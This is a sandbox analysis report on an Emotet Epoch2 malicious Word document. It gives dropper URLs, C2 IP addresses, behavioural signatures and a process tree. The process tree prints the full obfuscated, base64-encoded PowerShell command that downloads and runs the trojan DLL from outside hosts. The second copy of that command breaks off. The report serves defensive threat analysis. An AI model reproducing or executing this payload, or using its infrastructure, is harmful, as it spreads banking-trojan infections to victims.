Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    133s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    22/12/2020, 01:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_0c2c97f9c94b970cc23cc8f11be9fcbaf1630395d13060ca289eb0d9284b4a7d_2020-12-22__013534783588._doc.doc
  • Size 192KB
  • Sample201222-v49yr2jdcn
  • SHA256 0c2c97f9c94b970cc23cc8f11be9fcbaf1630395d13060ca289eb0d9284b4a7d
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://musickidsprogram.com/wp-includes/2huOL/
  • exe.dropper

    http://amartaka.net/az-artifacts-kqlgo/I/
  • exe.dropper

    http://schooldz.co/wp-content/v/
  • exe.dropper

    http://enableinfosolutions.com/old/q2V/
  • exe.dropper

    http://palladium.tdmcdev.co.za/nsw-gold-h4ld3/2d/
  • exe.dropper

    http://swallow.tdmcdev.co.za/accident-on-wh7ag/x/
  • exe.dropper

    http://nguyenphuchn.com/wp-content/iN/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0c2c97f9c94b970cc23cc8f11be9fcbaf1630395d13060ca289eb0d9284b4a7d_2020-12-22__013534783588._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:740
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAHMAVgAgACAAMwBGADIAbAAgACgAIABbAFQAWQBwAEUAXQAoACIAewAwAH0AewAxAH0AewAzAH0AewA1AH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAHMAJwAsACcAeQBzACcALAAnAE8AcgBZACcALAAnAHQAJwAsACcARABpAFIARQBDAFQAJwAsACcARQBNAC4ASQBvAC4AJwApACAAIAApADsAIAAgAHMARQBUAC0ASQB0AGUATQAgACgAJwB2AEEAJwArACcAUgBpAEEAQgBMACcAKwAnAGUAOgAnACsAJwA4ADcAUwAnACkAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsANgB9AHsAMgB9AHsAMAB9AHsANQB9AHsANwB9ACIAIAAtAEYAIAAnAE4AJwAsACcALgBTAGUAcgB2AGkAYwBlACcALAAnAEkAJwAsACcAcwAnACwAJwBZAHMAdABFAE0ALgBuAEUAdAAnACwAJwBUAE0AYQBOAEEARwBFACcALAAnAHAAbwAnACwAJwBSACcAKQAgACkAOwAkAE8AeQAyAGsAbABmAGgAPQAoACcAQwByACcAKwAoACcAcQAnACsAJwA1ADIANQB4ACcAKQApADsAJABRAG4AZwA5AHgAXwBtAD0AJABZAHkAdgA3AGoANQBkACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABCAHMAbwB0AGwAbwBjADsAJABJAGwAbQAwAGkAYwA1AD0AKAAoACcARwAnACsAJwBjADEAJwApACsAJwByACcAKwAoACcAXwAnACsAJwBfAHkAJwApACkAOwAgACAAKAAgAEwAcwAgACAAVgBBAHIAaQBhAGIATABFADoAMwBmADIAbAAgACkALgBWAEEATAB1AGUAOgA6ACIAQwByAEUAYQB0AEUAZABgAEkAcgBlAGMAdABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAQwByAGsANAAwAHAANAB7ADAAfQAnACsAJwBQACcAKwAnAGsAJwArACgAJwA2ACcAKwAnAGQAdAAnACkAKwAnADYAJwArACcAYgB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQAUQBzAGYANwBqAGYAeAA9ACgAKAAnAFAAdgBpADQAJwArACcAMgB6ACcAKQArACcAOAAnACkAOwAgACAAJAA4ADcAUwA6ADoAIgBzAGUAQwBVAHIAaQBUAGAAeQBwAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwApACkAOwAkAEsAeQBzAHEAcwB6AGUAPQAoACcAVgAnACsAKAAnAHgAJwArACcAeABnACcAKQArACgAJwBkAHcAJwArACcAaAAnACkAKQA7ACQAUAA2ADgAYQA0AGYAcgAgAD0AIAAoACcAVgB4ACcAKwAnADcAJwArACgAJwA0ACcAKwAnAGoAZwAnACkAKQA7ACQARQB6AHcAbgB5ADUAYgA9ACgAKAAnAE8AZwAnACsAJwBiACcAKQArACgAJwBjACcAKwAnAGwAcgAnACkAKwAnAGkAJwApADsAJABaAG8AagBjAHgAcwBxAD0AKAAoACcAWgBvAGcAMAAnACsAJwBkACcAKQArACcANQAnACsAJwBlACcAKQA7ACQASgBrADQAeQBuAHQAeAA9ACQASABPAE0ARQArACgAKAAoACcAUABhAFcAJwArACcAQwAnACkAKwAnAHIAawAnACsAKAAnADQAJwArACcAMABwACcAKQArACcANABQACcAKwAoACcAYQAnACsAJwBXAFAAawAnACkAKwAoACcANgBkAHQANgBiACcAKwAnAFAAJwArACcAYQBXACcAKQApACAALQBjAFIARQBwAEwAQQBDAGUAIAAoACcAUABhACcAKwAnAFcAJwApACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANgA4AGEANABmAHIAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABGAGYAbAAzADcAbABxAD0AKAAoACcAVQBwAGQAJwArACcAXwAnACkAKwAnAGMAJwArACcAdAA3ACcAKQA7ACQASQBuAHUAaABuAG0AdAA9AE4AZQB3AC0ATwBiAGAAagBgAGUAYwBUACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQASwBoADEAbgBlAGkAZgA9ACgAKAAnAGgAJwArACgAKAAnAHQAdABwAHMAJwArACcAOgBKACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQArACcASgAnACsAJwApACcAKwAoACgAJwAoACcAKwAnADMAJwArACcAcwAyACkAKABtAHUAcwAnACkAKQArACgAJwBpACcAKwAnAGMAJwArACcAawBpAGQAcwAnACkAKwAoACcAcAByAG8AJwArACcAZwAnACkAKwAoACcAcgAnACsAJwBhAG0AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAoACcASgApACcAKwAnACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAdwBwAC0AJwArACcAaQAnACkAKwAnAG4AYwAnACsAJwBsACcAKwAoACcAdQBkAGUAJwArACcAcwBKACcAKQArACcAKQAnACsAKAAoACcAKAAzACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnADIAaAAnACkAKQArACgAJwB1AE8ATAAnACsAJwBKACcAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABAACcAKQApACsAKAAnAGgAdAB0AHAAJwArACcAOgBKACcAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACcAKAAzAHMAMgAnACsAJwApACgAJwArACcAYQBtACcAKwAnAGEAJwArACcAcgAnACsAJwB0AGEAawBhAC4AJwArACcAbgBlAHQASgApACcAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYQB6AC0AYQAnACkAKQArACcAcgB0ACcAKwAoACcAaQBmAGEAYwAnACsAJwB0AHMALQAnACkAKwAoACcAawAnACsAJwBxAGwAJwApACsAJwBnAG8AJwArACgAKAAnAEoAKQAoADMAcwAyACcAKwAnACkAJwArACcAKABJACcAKwAnAEoAJwArACcAKQAoADMAcwAyACcAKQApACsAKAAoACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAKAAnAEoAJwArACcAKQAoACcAKQApACsAJwAzACcAKwAnAHMAMgAnACsAJwApACcAKwAoACcAKAAnACsAJwBKACkAJwApACsAKAAnACgAMwBzADIAJwArACcAKQAnACkAKwAnACgAJwArACgAJwBzAGMAaAAnACsAJwBvACcAKQArACcAbwAnACsAJwBsAGQAJwArACcAegAuACcAKwAnAGMAbwAnACsAKAAoACcASgAnACsAJwApACgAJwArACcAMwBzACcAKwAnADIAKQAoAHcAcAAnACkAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwArACcAZQAnACkAKwAnAG4AdAAnACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB2AEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzACcAKwAnADIAKQAoAEAAaAAnACsAJwB0AHQAJwApACkAKwAoACgAJwBwADoAJwArACcASgApACcAKQApACsAKAAoACcAKAAzAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBlAG4AJwApACkAKwAoACcAYQBiACcAKwAnAGwAZQBpACcAKQArACgAJwBuAGYAbwBzAG8AJwArACcAbAB1ACcAKwAnAHQAaQBvAG4AJwApACsAKAAnAHMALgBjACcAKwAnAG8AJwApACsAKAAoACcAbQBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzADIAJwArACgAKAAnACkAKABvACcAKwAnAGwAJwApACkAKwAoACgAJwBkACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHEAMgBWACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACsAKAAoACcAOgBKACcAKwAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABKACkAJwArACcAKAAzAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcAAnACsAJwBhAGwAJwApACsAJwBsACcAKwAoACcAYQBkACcAKwAnAGkAJwArACcAdQBtACcAKwAnAC4AdABkAG0AYwBkAGUAJwApACsAKAAoACcAdgAuAGMAJwArACcAbwAuAHoAJwArACcAYQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAG4AJwApACkAKwAnAHMAJwArACcAdwAnACsAJwAtACcAKwAnAGcAJwArACcAbwBsACcAKwAoACcAZAAnACsAJwAtAGgANAAnACkAKwAnAGwAZAAnACsAKAAoACcAMwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzAHMAJwArACcAMgAnACkAKwAnACkAJwArACgAKAAnACgAMgAnACkAKQArACgAKAAnAGQASgAnACsAJwApACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAOgAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAJwArACcAKABKACcAKQApACsAJwApACcAKwAnACgAJwArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACkAKQArACcAcwB3ACcAKwAoACcAYQAnACsAJwBsAGwAJwApACsAJwBvACcAKwAoACcAdwAuACcAKwAnAHQAZABtAGMAZAAnACkAKwAnAGUAdgAnACsAKAAnAC4AYwBvACcAKwAnAC4AegAnACkAKwAoACgAJwBhAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYQAnACsAJwBjAGMAaQAnACkAKQArACgAJwBkACcAKwAnAGUAbgB0AC0AJwApACsAKAAnAG8AbgAnACsAJwAtACcAKwAnAHcAaAA3ACcAKQArACgAKAAnAGEAZwBKACcAKwAnACkAKAAnACsAJwAzAHMAMgAnACsAJwApACcAKQApACsAJwAoACcAKwAnAHgASgAnACsAKAAoACcAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAEAAJwApACkAKwAnAGgAdAAnACsAKAAoACcAdABwADoAJwArACcASgApACcAKwAnACgAMwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABuACcAKwAnAGcAJwArACcAdQB5ACcAKQApACsAKAAnAGUAJwArACcAbgBwACcAKQArACgAJwBoACcAKwAnAHUAYwBoAG4ALgBjAG8AbQAnACsAJwBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACcAKAAnACsAJwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdABKACcAKwAnACkAJwArACcAKAAnACsAJwAzAHMAJwArACcAMgAnACsAKAAoACcAKQAnACsAJwAoAGkAJwArACcATgBKACkAJwApACkAKwAoACcAKAAzAHMAJwArACcAMgApACcAKQArACcAKAAnACkAKQAuACIAcgBlAFAAbABBAGAAQwBlACIAKAAoACgAKAAoACcASgAnACsAJwApACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABMAGkAdAAiACgAJABRAG4AOABwAF8AZQA3ACAAKwAgACQAUQBuAGcAOQB4AF8AbQAgACsAIAAkAEYAMABvAGsAeQBjAGUAKQA7ACQAQgB3ADYAZwBnAHIAbwA9ACgAJwBZACcAKwAoACcAaABrAGkAJwArACcAcAAnACkAKwAnAHIAdgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAdQBjAGQAaAA4ADMAIABpAG4AIAAkAEsAaAAxAG4AZQBpAGYAIAB8ACAAUwBvAFIAYABUAGAALQBvAEIASgBFAGAAYwBUACAAewBnAGUAdAAtAGAAUgBhAGAATgBEAE8ATQB9ACkAewB0AHIAeQB7ACQASQBuAHUAaABuAG0AdAAuACIARABvAFcAYABOAGwAYABPAEEAYABEAEYAaQBMAEUAIgAoACQASgB1AGMAZABoADgAMwAsACAAJABKAGsANAB5AG4AdAB4ACkAOwAkAE4AdgBtADEAOQAxAHEAPQAoACgAJwBHAHgAJwArACcAdAA5ADgAZwAnACkAKwAnAG8AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAawA0AHkAbgB0AHgAKQAuACIAbABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADQAMgA2ADMAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQASgBrADQAeQBuAHQAeAAsACcAIwAxACcALgAiAFQATwBTAGAAVABgAFIAaQBuAEcAIgAoACkAOwAkAEoAOQByAHkAegBvAGYAPQAoACgAJwBHACcAKwAnAHIANAA1AHkAagAnACkAKwAnADMAJwApADsAYgByAGUAYQBrADsAJABZADMAYwAxAG8ANABuAD0AKAAnAFQAJwArACcAOQB1ACcAKwAoACcAOQByACcAKwAnADIAMwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwA4AGIAdABkADMANAA9ACgAKAAnAEYAJwArACcAMgB5AGkAeAAnACkAKwAnAGsAdgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgAHMAVgAgACAAMwBGADIAbAAgACgAIABbAFQAWQBwAEUAXQAoACIAewAwAH0AewAxAH0AewAzAH0AewA1AH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAHMAJwAsACcAeQBzACcALAAnAE8AcgBZACcALAAnAHQAJwAsACcARABpAFIARQBDAFQAJwAsACcARQBNAC4ASQBvAC4AJwApACAAIAApADsAIAAgAHMARQBUAC0ASQB0AGUATQAgACgAJwB2AEEAJwArACcAUgBpAEEAQgBMACcAKwAnAGUAOgAnACsAJwA4ADcAUwAnACkAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsANgB9AHsAMgB9AHsAMAB9AHsANQB9AHsANwB9ACIAIAAtAEYAIAAnAE4AJwAsACcALgBTAGUAcgB2AGkAYwBlACcALAAnAEkAJwAsACcAcwAnACwAJwBZAHMAdABFAE0ALgBuAEUAdAAnACwAJwBUAE0AYQBOAEEARwBFACcALAAnAHAAbwAnACwAJwBSACcAKQAgACkAOwAkAE8AeQAyAGsAbABmAGgAPQAoACcAQwByACcAKwAoACcAcQAnACsAJwA1ADIANQB4ACcAKQApADsAJABRAG4AZwA5AHgAXwBtAD0AJABZAHkAdgA3AGoANQBkACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABCAHMAbwB0AGwAbwBjADsAJABJAGwAbQAwAGkAYwA1AD0AKAAoACcARwAnACsAJwBjADEAJwApACsAJwByACcAKwAoACcAXwAnACsAJwBfAHkAJwApACkAOwAgACAAKAAgAEwAcwAgACAAVgBBAHIAaQBhAGIATABFADoAMwBmADIAbAAgACkALgBWAEEATAB1AGUAOgA6ACIAQwByAEUAYQB0AEUAZABgAEkAcgBlAGMAdABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAQwByAGsANAAwAHAANAB7ADAAfQAnACsAJwBQACcAKwAnAGsAJwArACgAJwA2ACcAKwAnAGQAdAAnACkAKwAnADYAJwArACcAYgB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQAUQBzAGYANwBqAGYAeAA9ACgAKAAnAFAAdgBpADQAJwArACcAMgB6ACcAKQArACcAOAAnACkAOwAgACAAJAA4ADcAUwA6ADoAIgBzAGUAQwBVAHIAaQBUAGAAeQBwAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwApACkAOwAkAEsAeQBzAHEAcwB6AGUAPQAoACcAVgAnACsAKAAnAHgAJwArACcAeABnACcAKQArACgAJwBkAHcAJwArACcAaAAnACkAKQA7ACQAUAA2ADgAYQA0AGYAcgAgAD0AIAAoACcAVgB4ACcAKwAnADcAJwArACgAJwA0ACcAKwAnAGoAZwAnACkAKQA7ACQARQB6AHcAbgB5ADUAYgA9ACgAKAAnAE8AZwAnACsAJwBiACcAKQArACgAJwBjACcAKwAnAGwAcgAnACkAKwAnAGkAJwApADsAJABaAG8AagBjAHgAcwBxAD0AKAAoACcAWgBvAGcAMAAnACsAJwBkACcAKQArACcANQAnACsAJwBlACcAKQA7ACQASgBrADQAeQBuAHQAeAA9ACQASABPAE0ARQArACgAKAAoACcAUABhAFcAJwArACcAQwAnACkAKwAnAHIAawAnACsAKAAnADQAJwArACcAMABwACcAKQArACcANABQACcAKwAoACcAYQAnACsAJwBXAFAAawAnACkAKwAoACcANgBkAHQANgBiACcAKwAnAFAAJwArACcAYQBXACcAKQApACAALQBjAFIARQBwAEwAQQBDAGUAIAAoACcAUABhACcAKwAnAFcAJwApACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANgA4AGEANABmAHIAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABGAGYAbAAzADcAbABxAD0AKAAoACcAVQBwAGQAJwArACcAXwAnACkAKwAnAGMAJwArACcAdAA3ACcAKQA7ACQASQBuAHUAaABuAG0AdAA9AE4AZQB3AC0ATwBiAGAAagBgAGUAYwBUACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQASwBoADEAbgBlAGkAZgA9ACgAKAAnAGgAJwArACgAKAAnAHQAdABwAHMAJwArACcAOgBKACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQArACcASgAnACsAJwApACcAKwAoACgAJwAoACcAKwAnADMAJwArACcAcwAyACkAKABtAHUAcwAnACkAKQArACgAJwBpACcAKwAnAGMAJwArACcAawBpAGQAcwAnACkAKwAoACcAcAByAG8AJwArACcAZwAnACkAKwAoACcAcgAnACsAJwBhAG0AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAoACcASgApACcAKwAnACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAdwBwAC0AJwArACcAaQAnACkAKwAnAG4AYwAnACsAJwBsACcAKwAoACcAdQBkAGUAJwArACcAcwBKACcAKQArACcAKQAnACsAKAAoACcAKAAzACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnADIAaAAnACkAKQArACgAJwB1AE8ATAAnACsAJwBKACcAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABAACcAKQApACsAKAAnAGgAdAB0AHAAJwArACcAOgBKACcAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACcAKAAzAHMAMgAnACsAJwApACgAJwArACcAYQBtACcAKwAnAGEAJwArACcAcgAnACsAJwB0AGEAawBhAC4AJwArACcAbgBlAHQASgApACcAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYQB6AC0AYQAnACkAKQArACcAcgB0ACcAKwAoACcAaQBmAGEAYwAnACsAJwB0AHMALQAnACkAKwAoACcAawAnACsAJwBxAGwAJwApACsAJwBnAG8AJwArACgAKAAnAEoAKQAoADMAcwAyACcAKwAnACkAJwArACcAKABJACcAKwAnAEoAJwArACcAKQAoADMAcwAyACcAKQApACsAKAAoACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAKAAnAEoAJwArACcAKQAoACcAKQApACsAJwAzACcAKwAnAHMAMgAnACsAJwApACcAKwAoACcAKAAnACsAJwBKACkAJwApACsAKAAnACgAMwBzADIAJwArACcAKQAnACkAKwAnACgAJwArACgAJwBzAGMAaAAnACsAJwBvACcAKQArACcAbwAnACsAJwBsAGQAJwArACcAegAuACcAKwAnAGMAbwAnACsAKAAoACcASgAnACsAJwApACgAJwArACcAMwBzACcAKwAnADIAKQAoAHcAcAAnACkAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwArACcAZQAnACkAKwAnAG4AdAAnACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB2AEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzACcAKwAnADIAKQAoAEAAaAAnACsAJwB0AHQAJwApACkAKwAoACgAJwBwADoAJwArACcASgApACcAKQApACsAKAAoACcAKAAzAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBlAG4AJwApACkAKwAoACcAYQBiACcAKwAnAGwAZQBpACcAKQArACgAJwBuAGYAbwBzAG8AJwArACcAbAB1ACcAKwAnAHQAaQBvAG4AJwApACsAKAAnAHMALgBjACcAKwAnAG8AJwApACsAKAAoACcAbQBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzADIAJwArACgAKAAnACkAKABvACcAKwAnAGwAJwApACkAKwAoACgAJwBkACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHEAMgBWACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACsAKAAoACcAOgBKACcAKwAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABKACkAJwArACcAKAAzAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcAAnACsAJwBhAGwAJwApACsAJwBsACcAKwAoACcAYQBkACcAKwAnAGkAJwArACcAdQBtACcAKwAnAC4AdABkAG0AYwBkAGUAJwApACsAKAAoACcAdgAuAGMAJwArACcAbwAuAHoAJwArACcAYQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAG4AJwApACkAKwAnAHMAJwArACcAdwAnACsAJwAtACcAKwAnAGcAJwArACcAbwBsACcAKwAoACcAZAAnACsAJwAtAGgANAAnACkAKwAnAGwAZAAnACsAKAAoACcAMwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzAHMAJwArACcAMgAnACkAKwAnACkAJwArACgAKAAnACgAMgAnACkAKQArACgAKAAnAGQASgAnACsAJwApACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAOgAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAJwArACcAKABKACcAKQApACsAJwApACcAKwAnACgAJwArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACkAKQArACcAcwB3ACcAKwAoACcAYQAnACsAJwBsAGwAJwApACsAJwBvACcAKwAoACcAdwAuACcAKwAnAHQAZABtAGMAZAAnACkAKwAnAGUAdgAnACsAKAAnAC4AYwBvACcAKwAnAC4AegAnACkAKwAoACgAJwBhAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYQAnACsAJwBjAGMAaQAnACkAKQArACgAJwBkACcAKwAnAGUAbgB0AC0AJwApACsAKAAnAG8AbgAnACsAJwAtACcAKwAnAHcAaAA3ACcAKQArACgAKAAnAGEAZwBKACcAKwAnACkAKAAnACsAJwAzAHMAMgAnACsAJwApACcAKQApACsAJwAoACcAKwAnAHgASgAnACsAKAAoACcAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAEAAJwApACkAKwAnAGgAdAAnACsAKAAoACcAdABwADoAJwArACcASgApACcAKwAnACgAMwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABuACcAKwAnAGcAJwArACcAdQB5ACcAKQApACsAKAAnAGUAJwArACcAbgBwACcAKQArACgAJwBoACcAKwAnAHUAYwBoAG4ALgBjAG8AbQAnACsAJwBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACcAKAAnACsAJwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdABKACcAKwAnACkAJwArACcAKAAnACsAJwAzAHMAJwArACcAMgAnACsAKAAoACcAKQAnACsAJwAoAGkAJwArACcATgBKACkAJwApACkAKwAoACcAKAAzAHMAJwArACcAMgApACcAKQArACcAKAAnACkAKQAuACIAcgBlAFAAbABBAGAAQwBlACIAKAAoACgAKAAoACcASgAnACsAJwApACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABMAGkAdAAiACgAJABRAG4AOABwAF8AZQA3ACAAKwAgACQAUQBuAGcAOQB4AF8AbQAgACsAIAAkAEYAMABvAGsAeQBjAGUAKQA7ACQAQgB3ADYAZwBnAHIAbwA9ACg